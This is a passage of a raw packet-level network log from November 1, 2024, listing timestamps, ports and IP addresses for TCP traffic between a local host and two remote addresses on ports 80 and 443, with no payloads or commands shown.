Nov 1, 2024 05:02:36.260263920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260272980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260318995 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260354996 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260390043 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260391951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260499954 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260508060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260521889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260552883 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260585070 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260636091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260705948 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260719061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260756969 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.260816097 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260824919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.260854959 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261023045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261095047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261102915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261146069 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261215925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261224985 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261272907 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261322975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261400938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261409044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261446953 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261528015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261593103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261600018 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261606932 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261631966 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.261703968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261722088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261732101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.261790991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.263214111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.263237000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.263497114 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.263994932 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264074087 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264091969 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264143944 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264202118 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264209986 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264301062 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264363050 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264369965 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264411926 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264482975 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264524937 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264549017 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264558077 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264595032 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264662027 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264709949 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.264955044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.264998913 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.265012980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265029907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265067101 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.265130043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265137911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265161037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265202045 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.265264034 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265271902 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265286922 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.265316010 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.265341043 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.317987919 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.345164061 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.345176935 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.345246077 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.345570087 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.345583916 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.381688118 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.381736994 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.381752014 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.381802082 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.381871939 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.381886959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.381925106 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.382040977 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382083893 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382091999 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382133961 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.382345915 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382363081 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382493019 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382554054 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382565975 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382570982 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.382715940 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.382838011 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382879972 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.382941008 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.426814079 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.426824093 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.426879883 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.499658108 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499691963 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499703884 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499758959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499771118 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499789000 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.499823093 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.499886036 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499939919 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.499967098 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.499977112 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500041962 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.500190973 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500245094 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500255108 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500308037 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.500622034 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500674009 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500693083 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.500726938 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.536046028 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.536099911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.544604063 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.544614077 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.544673920 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617363930 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617373943 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617386103 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617429972 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617479086 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617533922 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617537022 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617598057 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617680073 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617701054 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617714882 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617744923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617789984 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617866993 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617922068 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.617933035 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617976904 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.617979050 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.618030071 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.618190050 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.618252993 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.618259907 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.618304968 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.705900908 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.706005096 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.706078053 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.706085920 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.706125021 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735080004 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735119104 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735126019 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735158920 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735187054 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735275030 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735281944 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735317945 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735333920 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735404968 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735460043 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735491991 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735497952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735537052 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.735742092 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735826015 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735831976 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.735869884 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.736104965 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.736143112 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.736155987 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.736183882 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.736238956 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.736282110 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.736287117 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.736419916 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.823605061 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.823626995 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.823651075 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.823653936 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.823668003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.823677063 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.823683977 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.823703051 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.852823973 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.852873087 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.852885008 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.852930069 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.852996111 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853039980 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853045940 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853060007 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853090048 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853126049 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853344917 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853444099 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853452921 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853456974 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853482962 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853487968 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853502989 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853516102 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.853554010 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.853982925 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.854041100 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.854054928 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.854058027 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.854070902 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.854087114 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.854108095 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.854155064 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.941412926 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.941426992 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.941438913 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.941459894 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.941476107 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.941520929 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.951421976 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.951522112 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.957525015 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.957536936 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.957737923 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.959404945 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.959903955 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.959939003 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.960074902 CET	59864	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:36.960079908 CET	443	59864	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:36.967073917 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972160101 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972192049 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972204924 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972218990 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972239017 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972328901 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972342014 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972354889 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972368956 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972395897 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972522974 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972536087 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972548008 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972559929 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972563028 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972573996 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972579956 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972588062 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972594976 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972630024 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972763062 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972807884 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972852945 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.972872019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972886086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972898006 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.972918034 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.991761923 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.996697903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996710062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996721983 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996763945 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.996799946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.996819973 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996831894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996843100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996856928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.996860981 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.996908903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997080088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997092009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997103930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997132063 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997159958 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997173071 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997184038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997198105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997199059 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997222900 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997591019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997602940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997613907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997625113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997627974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997637987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997648954 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.997656107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.997673035 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998011112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998023033 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998033047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998044968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998055935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998069048 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998073101 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998099089 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998246908 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998290062 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998441935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998454094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998466015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998478889 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998488903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998490095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998502970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998514891 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998518944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998532057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998543024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998555899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998560905 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998568058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998579979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998584032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998591900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.998603106 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.998625040 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999142885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999154091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999166012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999176979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999186993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999187946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999200106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999208927 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999212980 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999224901 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999237061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999239922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999248981 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999253035 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999284029 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999528885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999568939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999581099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:36.999609947 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:36.999624014 CET	59856	80	192.168.2.5	185.215.113.16
